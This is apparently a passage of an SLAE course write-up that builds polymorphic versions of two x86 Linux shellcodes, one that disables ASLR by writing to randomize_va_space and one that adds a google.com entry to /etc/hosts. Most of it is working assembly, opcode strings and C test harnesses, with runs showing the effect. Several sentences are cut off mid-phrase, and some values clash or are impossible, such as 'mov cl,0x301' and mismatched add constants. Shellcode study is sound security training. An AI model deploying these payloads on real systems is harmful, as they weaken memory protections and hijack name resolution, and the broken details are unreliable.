"732f636f".decode("hex") + \
"72702f2f".decode("hex")
After running the script above, the path //proc/sys/kernel/randomize_va_space will be inserted into the stack in reverse order as seen below
root@slae:/home/xenofon/Documents/Assignment6# python hex.py
modns_av_ezimodnar/lenrek/sys/corp//
Also, be noted that there is an extra slash at the beginning of the path. The extra slash is needed to align the value to a multiple of 4 bytes in order to transform the string into the exact hexadecimal size and then push it into the stack. Also, the number of slashes in a Linux command line do not matter.
Afterwards, further analysis will take place at the following instructions regarding the second argument of the creat() system call, but before moving further, the mov ebx, esp instruction will be used to perform stack alignment at the top of the stack. To continue further, the second argument will be used to pass the mode of the file which is 0x2bc in hex, and 700 in decimal, meaning that the owner will have permissions to read, write and execute that file. Then, mov al, 0x8 instruction will be used to assign the immediate value 0x8 to the lower byte register al. The value 0x8 indicates the creat() system call as shown at the image below.
Then, the int 0x80 instruction will be used to call the creat() system call. So basically, the creat() function will be constructed as follows
int fd = creat("//proc/sys/kernel/randomize_va_space", 0x2bc);
To summarise, the following analysed instructions are representing the implementation of the creat() system call.
xor eax,eax
push eax
push dword 0x65636170
push dword 0x735f6176
push dword 0x5f657a69
push dword 0x6d6f646e
push dword 0x61722f6c
push dword 0x656e7265
push dword 0x6b2f7379
push dword 0x732f636f
push dword 0x72702f2f
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80
Now, the above instructions will be changed, but the functionality will remain intact, performing only polymorphic changes to the code. So, the instructions will be changed into the following as seen in green
; Altered instructions
xor ebx,ebx
mul ebx
mov DWORD [esp-0x4],eax
mov DWORD [esp-0x8],0x65636170
mov DWORD [esp-0xc],0x735f6176
mov DWORD [esp-0x10],0x5f657a69
mov DWORD [esp-0x14],0x6d6f646e
mov DWORD [esp-0x18],0x61722f6c
mov DWORD [esp-0x1c],0x656e7265
mov DWORD [esp-0x20],0x6b2f7379
mov DWORD [esp-0x24],0x732f636f
mov DWORD [esp-0x28],0x72702f2f
sub esp,0x28
mov ebx,esp
mov cl,0x4e
add cl,0x16
mov dx,0x2bc
push 0x5
pop eax
int 0x80
The instructions above providing a way of changing the original instructions in order to achieve polymorphism. As seen above, the two instructions xor ebx, ebx and mul ebx used instead of xor eax, eax in order to zero out the eax register. The mul instruction used to perform multiplication where ebx register is acting as the multiplier and the eax register as the multiplicand. So, in the case where the multiplier which is the ebx register is already assigned with zero, the multiplication with eax register will also assign the eax and edx registers with zero, and that because the final product of the multiplication is stored in edx:eax registers. Following further, the sequence of the mov instructions will substitute the sequence of push instructions seen at the original shellcode, as shown below
;Altered Instructions
mov DWORD [esp-0x4],eax
mov DWORD [esp-0x8],0x65636170
mov DWORD [esp-0xc],0x735f6176
mov DWORD [esp-0x10],0x5f657a69
mov DWORD [esp-0x14],0x6d6f646e
mov DWORD [esp-0x18],0x61722f6c
mov DWORD [esp-0x1c],0x656e7265
mov DWORD [esp-0x20],0x6b2f7379
mov DWORD [esp-0x24],0x732f636f
mov DWORD [esp-0x28],0x72702f2f
sub esp,0x28 // make room for the values in stack
mov ebx,esp
The mov instructions above are doing the same thing as the push instructions seen before at the original shellcode, because the two instructions are decrementing the stack pointer by the operand size, then move the operand to the location pointed by the stack pointer. Furthermore, the sub esp, 0x28 instruction used to make room for ten local variables in stack and the mov ebx, esp instruction used to set the pointer at the top of the stack.
Furthermore, the second argument of the creat() system call used to set the mode of the file. There, the writer of the original shellcode assigned the hex value 0x2bc which is 700 in decimal at the dx register, meaning that the owner of the file can read, write and execute the file. Towards to that, changes at the assembly code will be done in order to achieve polymorphism.
According with the man page of creat(3) system call the following open(3) system call
open(path, O_WRONLY|O_CREAT|O_TRUNC, mode)
is equivalent to the following creat() function call
< creat(path, mode)
Following, in order to create polymorphism, the instructions implementing the open() system call will be changed using the additional instructions for the second and third argument of the open() system call. To proceed further, the hex values of O_CREAT | O_WRONLY | O_TRUNC flags must be known in order to use them as the second argument at open() system call. To this end, checking inside the /usr/src/linux-headers-3.13.0-32/arch/mips/include/uapi/asm/fcntl.h file the hex values of the flags above are seen below
#define O_CREAT 0x0100
#define O_TRUNC 0x0200
The O_WRONLY flag defined at /usr/src/linux-headers-3.13.0-32/include/uapi/asm-generic/fcntl.h having the binary value 00000001. Also, the same flag can be found at /usr/include/i386-linux-gnu/bits/fcntl-linux.h with binary value 01. Both values are representing the same hexadecimal result 0x1. So, in order to perform the bitwise OR operation shown below some zeros will be added from right to left, changing the value format into the equivalent 0x0001. The bitwise OR is applying a logical OR to the specified values. The flags are defined as a bitmask or individual bits, and by using the OR operation specific bits can be set in the target.
0000 0000 0000 0001 O_WRONLY ~ 0 0 0 1
0000 0001 0000 0000 O_CREAT ~ 0 1 0 0
0000 0010 0000 0000 O_TRUNC ~ 0 2 0 0
--------------------------- 0000 0011 0000 0001 = 0x0301
So, the compiler passes 0x0301 to the open() system call. As a result, the following instruction is provided
mov cl,0x301
which indicates the second argument of the open() system call. Also the mov dx, 0x2bc will be changed by adding 0x2a1 into 0x1b as follows
;Original Instructions mov dx, 0x2bc ;Altered instructions mov dx,0x2a1 add dx,0x1b
Continuously, the following instructions will be changed
mov al,0x8 int 0x80
with the instructions below
; Altered instructions push 0x5 pop eax int 0x80
The above instructions will push the immediate value 0x5 into the stack, indicating the open() system call. Then the pop eax instruction will store the immediate 0x5 into the eax register and then the int 0x80 instruction will call the function. Next, polymorphism will be created for the instructions below implementing the write() system call. From the original assembly code the following instructions can be seen
mov ebx,eax push eax mov dx,0x3a30 push dx mov ecx,esp xor edx,edx inc edx mov al,0x4 int 0x80
The above instructions altered with the following instructions in order to achieve polymorphism
mov ebx,eax ;Altered Instructions push ebx mov cx,0x3b30 push cx mov ecx,esp ;Altered Instructions shr edx, 16 inc edx mov al, 0x4
the above instructions are representing the following system call
sys_write(fd,"0;",1);
The mov ebx, eax instruction assigns the value of file descriptor existing in eax register into the ebx register. Also, checking at the [Linux Syscall Reference](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit), the ebx register consists the first argument of the write() system call. Afterwards, the instruction push ebx pushes the file descriptor into the stack. The second argument of the write()system call referenced by the ecx register consists the buffer that contains the value to write inside the file. Also, the third argument referenced by the edx register consists the size of the buffer where in this case is one(1) byte. The instruction mov cx, 0x3b30 represents the second argument meaning that the value 0; will be inserted into the cx register containing the size of the buffer. Furthermore, the 0x3a30 hex original value altered into 0x3b30 changing " :" to " ;" which does not negatively affect the execution of the program as it is not interpreted in the execution. Also, the 16bit cx register has been chosen instead of ecx in order to avoid producing any null bytes. As seen at the instructions above, the buffer that contains the 0 value indicating the non randomisation action of the system memory. Additionally, the ';' value is irrelevant because the size of the buffer is only one(1) byte long, thus the 0 value will only be taken as valid. After moving the chars "0;" inside the second argument of the write() function, the instruction mov ecx, esp will be provided in order to align the stack pointer at the beginning of the stack. As mentioned before, the final argument contains the value of the size of the buffer which must be 1 , so the altered instructions to achieve this change, first must zero out the lower 16bits from edx register. To achieve this, the instruction shr edx,16 will be used which shifts the edx lower 16bits by sixteen positions to the right, thus zeroing out the edx register. Then, the edx register will be increased by one in order to provide the size of the buffer to the write() system call. Following, a common way to call the write() system call is by using mov al, 0x4 instruction which assigns the 0x4 immediate value to the al lower byte register. Then the instruction int 0x80 is called to execute the write() system call. </p>
According with the write(2) man page, in order to successfully return from the write() system call, it is certainly a good programming practice to use the fsync() and close() functions. Another good programming practice is to use the waitpid(2) system call in order to force the system to wait for the child process to finish and then release the resources associated with the child before exiting the execution. In this case the
mov al,0x6 int 0x80 inc eax int 0x80
Then the waitpid() and close() functions will be changed with the exit() system call as shown below
; Altered instructions mov al,0x1 int 0x80The final polymorphic version of the original
global _start section .text _start: xor ebx,ebx mul ebx mov DWORD [esp-0x4],eax mov DWORD [esp-0x8],0x65636170 mov DWORD [esp-0xc],0x735f6176 mov DWORD [esp-0x10],0x5f657a69 mov DWORD [esp-0x14],0x6d6f646e mov DWORD [esp-0x18],0x61722f6c mov DWORD [esp-0x1c],0x656e7265 mov DWORD [esp-0x20],0x6b2f7379 mov DWORD [esp-0x24],0x732f636f mov DWORD [esp-0x28],0x72702f2f sub esp,0x28 mov ebx,esp mov cx,0x301 mov dx,0x2a1 add dx,0x1b mov al, 0x5 int 0x80 mov ebx,eax push ebx mov cx,0x3b30 push cx mov ecx,esp shr edx, 16 inc edx mov al,0x4 int 0x80 mov al,0x1 int 0x80
Now that the writing of the polymorphic
root@slae:/home/xenofon/Documents/Assignment6# objdump -d polyaslr -M intel polyaslr: file format elf32-i386 Disassembly of section .text: 08048080 < _start >: 8048080: 31 db xor ebx,ebx 8048082: f7 e3 mul ebx 8048084: 89 44 24 fc mov DWORD PTR [esp-0x4],eax 8048088: c7 44 24 f8 70 61 63 mov DWORD PTR [esp-0x8],0x65636170 804808f: 65 8048090: c7 44 24 f4 76 61 5f mov DWORD PTR [esp-0xc],0x735f6176 8048097: 73 8048098: c7 44 24 f0 69 7a 65 mov DWORD PTR [esp-0x10],0x5f657a69 804809f: 5f 80480a0: c7 44 24 ec 6e 64 6f mov DWORD PTR [esp-0x14],0x6d6f646e 80480a7: 6d 80480a8: c7 44 24 e8 6c 2f 72 mov DWORD PTR [esp-0x18],0x61722f6c 80480af: 61 80480b0: c7 44 24 e4 65 72 6e mov DWORD PTR [esp-0x1c],0x656e7265 80480b7: 65 80480b8: c7 44 24 e0 79 73 2f mov DWORD PTR [esp-0x20],0x6b2f7379 80480bf: 6b 80480c0: c7 44 24 dc 6f 63 2f mov DWORD PTR [esp-0x24],0x732f636f 80480c7: 73 80480c8: c7 44 24 d8 2f 2f 70 mov DWORD PTR [esp-0x28],0x72702f2f 80480cf: 72 80480d0: 83 ec 28 sub esp,0x28 80480d3: 89 e3 mov ebx,esp 80480d5: 66 b9 01 03 mov cx,0x301 80480d9: 66 ba a1 02 mov dx,0x2a1 80480dd: 66 83 c2 1b add dx,0x1b 80480e1: b0 05 mov al,0x5 80480e3: cd 80 int 0x80 80480e5: 89 c3 mov ebx,eax 80480e7: 53 push ebx 80480e8: 66 b9 30 3b mov cx,0x3b30 80480ec: 66 51 push cx 80480ee: 89 e1 mov ecx,esp 80480f0: c1 ea 10 shr edx,0x10 80480f3: 42 inc edx 80480f4: b0 04 mov al,0x4 80480f6: cd 80 int 0x80 80480f8: b0 01 mov al,0x1 80480fa: cd 80 int 0x80
From the output above it seems that there are no null bytes around, so using objdump the production of the
root@slae:/home/xenofon/Documents/Assignment6# objdump -d ./polyaslr|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xdb\xf7\xe3\x89\x44\x24\xfc\xc7\x44\x24\xf8\x70\x61\x63\x65\xc7\x44\x24\xf4\x76\x61\x5f\x73\xc7\x44\x24\xf0\x69\x7a\x65\x5f\xc7\x44\x24\xec\x6e\x64\x6f\x6d\xc7\x44\x24\xe8\x6c\x2f\x72\x61\xc7\x44\x24\xe4\x65\x72\x6e\x65\xc7\x44\x24\xe0\x79\x73\x2f\x6b\xc7\x44\x24\xdc\x6f\x63\x2f\x73\xc7\x44\x24\xd8\x2f\x2f\x70\x72\x83\xec\x28\x89\xe3\x66\xb9\x01\x03\x66\xba\xa1\x02\x66\x83\xc2\x1b\xb0\x05\xcd\x80\x89\xc3\x53\x66\xb9\x30\x3b\x66\x51\x89\xe1\xc1\xea\x10\x42\xb0\x04\xcd\x80\xb0\x01\xcd\x80"
Afterwards the produced
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xdb\xf7\xe3\x89\x44\x24\xfc\xc7" "\x44\x24\xf8\x70\x61\x63\x65\xc7\x44" "\x24\xf4\x76\x61\x5f\x73\xc7\x44\x24" "\xf0\x69\x7a\x65\x5f\xc7\x44\x24\xec" "\x6e\x64\x6f\x6d\xc7\x44\x24\xe8\x6c" "\x2f\x72\x61\xc7\x44\x24\xe4\x65\x72" "\x6e\x65\xc7\x44\x24\xe0\x79\x73\x2f" "\x6b\xc7\x44\x24\xdc\x6f\x63\x2f\x73" "\xc7\x44\x24\xd8\x2f\x2f\x70\x72\x83" "\xec\x28\x89\xe3\x66\xb9\x01\x03\x66" "\xba\xa1\x02\x66\x83\xc2\x1b\xb0\x05" "\xcd\x80\x89\xc3\x53\x66\xb9\x30\x3b" "\x66\x51\x89\xe1\xc1\xea\x10\x42\xb0" "\x04\xcd\x80\xb0\x01\xcd\x80"; main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Compiling and running the above program will change the value inside the /proc/sys/kernel/randomize_va_space from two(2) to zero(0).
root@slae:/home/xenofon/Documents/Assignment6# cat /proc/sys/kernel/randomize_va_space 2 root@slae:/home/xenofon/Documents/Assignment6# gcc -fno-stack-protector -z execstack -o sh sh.c && ./sh Shellcode Length: 124 root@slae:/home/xenofon/Documents/Assignment6# cat /proc/sys/kernel/randomize_va_space 0As previously seen in this article, the length of the new
original shelcode length : 83 polymorphic version length : 124 83 * 1.5 = 124.5
Add map in /etc/hosts file
The third shellcode to analyse adds a new entry in hosts file pointing google.com to 127.1.1.1 and can be found at shell-storm.org Also, the original shellcode can be found at this link. In general, Linux systems contain a hosts file used to translate hostnames to IP addresses. The hosts file is a simple text file located in the etc folder on Linux and Mac OS ( /etc/hosts ). The following output shows the assembly code from the original shellcode.
global _start section .text _start: xor ecx, ecx mul ecx mov al, 0x5 push ecx push 0x7374736f ;/etc///hosts push 0x682f2f2f push 0x6374652f mov ebx, esp mov cx, 0x401 ;permmisions int 0x80 ;syscall to open file xchg eax, ebx push 0x4 pop eax jmp short _load_data ;jmp-call-pop technique to load the map _write: pop ecx push 20 ;length of the string, dont forget to modify if changes the map pop edx int 0x80 ;syscall to write in the file push 0x6 pop eax int 0x80 ;syscall to close the file push 0x1 pop eax int 0x80 ;syscall to exit _load_data: call _write google db "127.1.1.1 google.com"
Furthermore, the instructions above can be changed in order to perform polymorphism while altering the coding format without changing the functionality of the program. First, the instructions that represent the open() system call will be changed as follows
;Original instructions xor ecx, ecx mul ecx mov al, 0x5 push ecx push 0x7374736f ;/etc///hosts push 0x682f2f2f push 0x6374652f mov ebx, esp mov cx, 0x401 ;permmisions int 0x80 ;syscall to open file xchg eax, ebx push 0x4 pop eax jmp short _load_data ;jmp-call-pop technique to load the map ;Altered instructions xor ecx, ecx cdq xor eax, eax mov al, 0x5 mov DWORD [esp-0x4],ecx mov DWORD [esp-0x8],0x7374736f mov DWORD [esp-0xc],0x682f2f2f mov DWORD [esp-0x10],0x6374652f sub esp,0x10 mov ebx,esp mov cx, 0x3b1 ;permmisions add cx, 0x50 int 0x80 ;syscall to open file mov ebx, eax xor eax, eax jmp short _ldata ;jmp-call-pop technique to load the map
The above instructions have been altered in order to achieve polymorphism. The technique jmp-pop-call will still remains the same with changes only in label names. Also, the mul ecx replaced with , cdq and xor eax, eax , zeroing out the eax and edx registers accordingly. Additionally, the push instruction has been altered using mov instruction and the file permissions value 0x401 in hex has been splitted into two values , 0x3b1 and 0x50 instead of one, adding them together using the add instruction at the 8bits register cx. The xchg instruction has been changed to mov instruction as the ebx will be assigned with the value 0x3 which represents the hosts file descriptor returned from the open() system call. The xchg used from
;Original instructions _write: pop ecx push 20 pop edx int 0x80 ;Altered instructions write_data: pop ecx mov dl, 0x12 add dl, 0x3 mov al, 0x4 int 0x80
The main alteration here is the pop and push instructions which altered into mov. Also in order to avoid null bytes the edx register changed into the lower byte register dl. Additionally the _write label has been changed into write_data. Following, the 0x15 hex value which represents the length of the message along with the additional carriage return character has been splitted into two values 0x12 and 0x3 instead of one value, then adding them together using the add instruction. The next instructions to be altered are representing the close system call.
;Original instructions push 0x6 pop eax int 0x80 ;syscall to close the file ;Altered instructions add al,0x2 int 0x80 ;syscall to close the file
The above instructions from the original
;Original instructions push 0x1 pop eax int 0x80 ;syscall to exit ;Altered instructions xor eax,eax mov al,0x1 int 0x80 ;syscall to exit
The above instructions from the original
;Original instructions _load_data: call _write google db "127.1.1.1 google.com" ;Altered instructions data: call wdata message db "127.1.1.1 google.com",0x0A
As said before and shown above, the label _load_data changed into _ldata and also the label _write changed into write_data at the call instruction. Furthermore, the google tag changed into message, and the carriage return character has been added at the end of the message. The following output shows the final polymorphic shellcode
; poly_map.nasm ; ; Adding a record in /etc/hosts ; ; Author: Xenofon Vassilakopoulos ; ; Student ID: SLAE - 1314 global _start section .text _start: xor ecx, ecx xor edx, edx xor eax, eax mov DWORD [esp-0x4],ecx mov DWORD [esp-0x8],0x7374736f mov DWORD [esp-0xc],0x682f2f2f mov DWORD [esp-0x10],0x6374652f sub esp,0x10 mov ebx,esp mov cx, 0x3b1 ;permmisions add cx, 0x50 mov al, 0x5 int 0x80 ;syscall to open file mov ebx, eax xor eax, eax jmp short _ldata ;jmp-call-pop technique to load the map write_data: pop ecx mov dl,0x12 add dl,0x3 mov al,0x4 int 0x80 ;syscall to write in the file add al,0x2 int 0x80 ;syscall to close the file xor eax,eax mov al,0x1 int 0x80 ;syscall to exit _ldata: call write_data message db "127.1.1.1 google.com",0x0A
Proceeding further, the polymorphic
root@slae:/home/xenofon/Documents/Assignment6# cat compile.sh #!/bin/bash echo '[+] Assembling with Nasm ... ' nasm -f elf -o $1.o $1.nasm echo '[+] Linking ...' ld -z execstack -o $1 $1.o echo '[+] Done!' root@kali:~/Documents/SLAE/Assignment6# ./compile.sh omap [+] Assembling with Nasm ... [+] Linking ... [+] Done!
Then the opcodes will be checked if null bytes exist using objdump
root@slae:/home/xenofon/Documents/Assignment6# objdump -d omap -M intel omap: file format elf32-i386 Disassembly of section .text: 08049000 <_start>: 8049000: 31 c9 xor ecx,ecx 8049002: 31 c0 xor eax,eax 8049004: 89 4c 24 fc mov DWORD PTR [esp-0x4],ecx 8049008: c7 44 24 f8 6f 73 74 mov DWORD PTR [esp-0x8],0x7374736f 804900f: 73 8049010: c7 44 24 f4 2f 2f 2f mov DWORD PTR [esp-0xc],0x682f2f2f 8049017: 68 8049018: c7 44 24 f0 2f 65 74 mov DWORD PTR [esp-0x10],0x6374652f 804901f: 63 8049020: 83 ec 10 sub esp,0x10 8049023: 89 e3 mov ebx,esp 8049025: 66 b9 b1 03 mov cx,0x3b1 8049029: 66 83 c1 50 add cx,0x50 804902d: b0 05 mov al,0x5 804902f: cd 80 int 0x80 8049031: 89 c3 mov ebx,eax 8049033: 31 c0 xor eax,eax 8049035: eb 12 jmp 8049049 08049037 : 8049037: 59 pop ecx 8049038: b2 12 mov dl,0x12 804903a: 80 c2 02 add dl,0x2 804903d: b0 04 mov al,0x4 804903f: cd 80 int 0x80 8049041: 04 02 add al,0x2 8049043: cd 80 int 0x80 8049045: b0 01 mov al,0x1 8049047: cd 80 int 0x80 08049049 : 8049049: e8 e9 ff ff ff call 8049037 0804904e : 804904e: 31 32 xor DWORD PTR [edx],esi 8049050: 37 aaa 8049051: 2e 31 2e xor DWORD PTR cs:[esi],ebp 8049054: 31 2e xor DWORD PTR [esi],ebp 8049056: 31 20 xor DWORD PTR [eax],esp 8049058: 67 6f outs dx,DWORD PTR ds:[si] 804905a: 6f outs dx,DWORD PTR ds:[esi] 804905b: 67 6c ins BYTE PTR es:[di],dx 804905d: 65 2e 63 6f 6d gs arpl WORD PTR cs:[edi+0x6d],bp 8049062: 0a .byte 0xa 8049063: 0d .byte 0xd
As it's shown above, it is all good with the polymorphic
root@slae:/home/xenofon/Documents/Assignment6# objdump -d ./omap|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x31\xc9\x31\xc0\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x6f\x73\x74\x73\xc7\x44\x24\xf4\x2f\x2f\x2f\x68\xc7\x44\x24\xf0\x2f\x65\x74\x63\x83\xec\x10\x89\xe3\x66\xb9\xb1\x03\x66\x83\xc1\x50\xb0\x05\xcd\x80\x89\xc3\x31\xc0\xeb\x14\x59\xb2\x12\x80\xc2\x02\xb0\x04\xcd\x80\x04\x02\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x31\x32\x37\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x0a\x0d"
Following is the C program file where the polymorphic
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xc9\x31\xc0\x89\x4c\x24\xfc\xc7\x44\x24\xf8\x6f\x73\x74\x73\xc7\x44\x24\xf4\x 2f\x2f\x2f\x68\xc7\x44\x24\xf0\x2f\x65\x74\x63\x83\xec\x10\x89\xe3\x66\xb9\xb1\x03\ x66\x83\xc1\x50\xb0\x05\xcd\x80\x89\xc3\x31\xc0\xeb\x14\x59\xb2\x12\x80\xc2\x02\xb0 \x04\xcd\x80\x04\x02\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x31\x32\x3 7\x2e\x31\x2e\x31\x2e\x31\x20\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x0a\x0d"; int main() { printf("Shellcode Length: %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
Next the executable will be compiled and run as seen below
root@slae:/home/xenofon/Documents/Assignment6# gcc -fno-stack-protector -g -z execstack -o sh sh.c && ./sh Shellcode Length: 102
Now that the
127.0.0.1 localhost 127.0.1.1 kali # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 127.1.1.1 google.com
As seen previously in this article, the length of the new
original shelcode length : 77 polymorphic version length : 102 77 * 1.5 = 115.5